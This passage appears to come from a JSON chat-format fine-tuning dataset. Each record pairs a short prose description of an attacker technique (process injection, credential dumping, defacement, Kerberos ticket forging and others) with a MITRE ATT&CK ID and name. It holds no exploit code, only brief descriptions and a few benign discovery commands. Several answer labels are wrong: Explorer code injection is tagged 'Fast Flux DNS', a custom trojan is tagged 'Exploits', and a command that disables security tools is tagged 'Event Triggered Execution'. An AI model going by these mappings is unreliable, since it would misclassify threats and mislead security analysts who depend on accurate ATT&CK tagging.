                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group accessed the Google Workspace admin console using compromised credentials to revoke MFA for targeted users."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the SetWindowsHookEx function, the attacker injected a custom DLL to intercept keystrokes in an existing process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the proxy configuration to route malicious traffic through port 25, mimicking SMTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used 'docker exec' to run a malicious shell inside a running container, gaining administrative control over the host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set executes a batch file that removes all active SMB share connections after copying sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool hijacks an XPC service to spawn a child process with system‑level rights."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a password cracking tool to systematically try common passwords against extracted password hashes."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the Windows API function QueueUserAPC to insert malicious code into a remote process's address space."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers harvest data on the victim’s corporate network of subsidiaries and associated businesses to understand the organization’s structure."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes unauthorized code into the system's EFI variables, causing it to execute during the boot sequence and persist through OS reinstallations."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer executes an embedded AppleScript which writes a launch daemon to achieve persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reverts the device's firmware to a prior release, allowing exploitation of old vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment delivers a seemingly benign PDF that contains an embedded compressed archive with an encrypted malicious script."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a vulnerability in the web application framework to inject defacement HTML into the site’s root page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies a legitimate scheduled job to include a condition that runs a malicious script only after a specific user logs in, using an event‑triggered trap for execution."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool wipes the disk's partition table and clears all file system metadata to cause a total data loss."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A vulnerability in the internal ticketing system is abused to modify the landing page, displaying a defacement message to all staff."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages a batch file that runs certutil to decode a hex‑encoded payload before launching it."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves overwriting legitimate VBA macros in a PowerPoint file with malicious code to hide the malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the \"ipconfig /all\" command to retrieve DNS server settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited a compromised GitHub repository to retrieve a PowerShell-based exploitation framework for later use."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces a critical system library with a buggy version that triggers a crash on each use, resulting in denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the System Management BIOS (SMBIOS) tables to collect firmware build information from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Remote Desktop Services DLL to load a payload during RDP login, achieving persistence on the target system."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a .chtml file that runs cmd.exe through mshta.exe, bypassing application whitelisting by proxying system commands via the compiled HTML file."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary captures traffic with a passive sniffing tool to infer network topology and host relationships within the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data encryption for ransom and leverage in negotiations"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team gathers employee phone numbers by scraping online directories and corporate press releases."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app leverages JNI to perform reflective DLL loading of native code, enabling it to run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages VBA script replacement, creating a malicious macro and later swapping it with a clean macro to hide evidence."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a credential dumping tool to copy passwords saved in the Firefox password manager."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the threat actor used the “arp -a” command to discover other devices on the local network segment."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a compromised developer account to generate a new digital certificate for signing a backdoor embedded in a popular app."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an Exchange Server delegation bug, the adversary added themselves as a delegate with full mailbox access without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces existing VBA routines in Office documents with their own malicious macros, erasing the original functionality."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed a remote file inclusion attack that allowed them to overwrite the main page with defacement content."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor uses 'service --status-all' on a Unix system to discover running services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the Azure AD Graph API to list all security groups and their members, aiming to map permission assignments in the target tenant."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a hardware component supplier to embed a backdoor in the networking chips sold to enterprises."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the Windows API CallNtQueueApcThreadEx to place a payload into an existing thread of rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes a compromised PAM stack to harvest SSH keys by hooking into the pam_ssh.so module and exfiltrating the keys to an external server."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the victim’s AWS CLI configuration to copy stolen data to an attacker‑hosted S3 bucket with public read access."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script is packaged with a fake Microsoft signature, enabling it to run under elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtained a stolen personal access token and leveraged the GitLab API to download the entire project history."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries develop a custom remote access trojan using open‑source code to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts stored passwords from the Linux GNOME Keyring using a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation technique where the attacker pads the binary with zeros and random bytes to increase entropy and hide malicious code."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups infiltrate cloud instances and link them into a botnet, using the aggregated compute for cryptocurrency mining."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware encodes its payload with a custom hexadecimal representation, deviating from standard hex encoding."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses PowerShell to copy exfiltrated files into a hidden subdirectory of the user's profile for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a compromised load balancer to intercept and modify traffic to inject malware."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages public-key cryptography to protect its command and control traffic from detection."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection chain includes a malicious Windows Command Shell command that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1546 - Event Triggered Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the TPM's ownership to a null value, causing the system to bypass hardware encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a stolen service account NTLM hash to generate a silver ticket that provides admin privileges on a specific application server."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue proxy rewrites web pages on the fly, inserting malicious code before they reach the user."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a compromised OpenStack token, the adversary executed the 'nova delete' command on numerous VM instances, causing widespread service interruption."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group of actors compromises high‑authority news sites and embeds malicious URLs in anchor text, employing SEO poisoning to promote a fake software update download."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the Winlogon Helper DLL technique, the attacker ensures its payload runs with elevated rights after reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy Odbcconf to hijack the ODBC driver installation process, inserting malicious components that execute on system start."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the intruder invoked the 'Clear-Mailbox' PowerShell cmdlet to eliminate evidence from the compromised mail server."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses 'at' to launch a ransomware encryption tool at 4:00 AM to avoid user detection."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code stages stolen credentials on a remote password manager service."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a batch file to the network logon script that maps a network drive to a malicious share for further infection."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A caller claims to be a senior executive and asks the employee to transfer funds urgently, providing a fake voice-altered recording to appear authentic."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the local security policy to determine password history requirements."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program injects code into legitimate Windows Explorer processes to hide its activities and gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor runs automated scripts against the SecurityTrails API to pull DNS records for the victim's domain, focusing on MX and TXT entries for potential credential leakage."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the hidden attribute on critical configuration files and stores them in a hidden directory to avoid discovery by system administrators."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder packages exfiltrated data with a custom-built archiving tool to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a DLL named mstscax.dll into the Windows directory; Terminal Services loads this library during remote session initiation, executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrated unencrypted TLS private keys stored in cleartext on the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor sends crafted network packets that trigger a router's traffic steering feature, rerouting traffic to an attacker-controlled node."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Windows Registry for the value of \"InstallPath\" to locate the installation directory of a target application."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious driver performs token stealing by extracting the token from a privileged kernel thread."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured delegation to change the domain's Kerberos ticket lifetime via Group Policy."
            },
            {
                "role": "assistant",
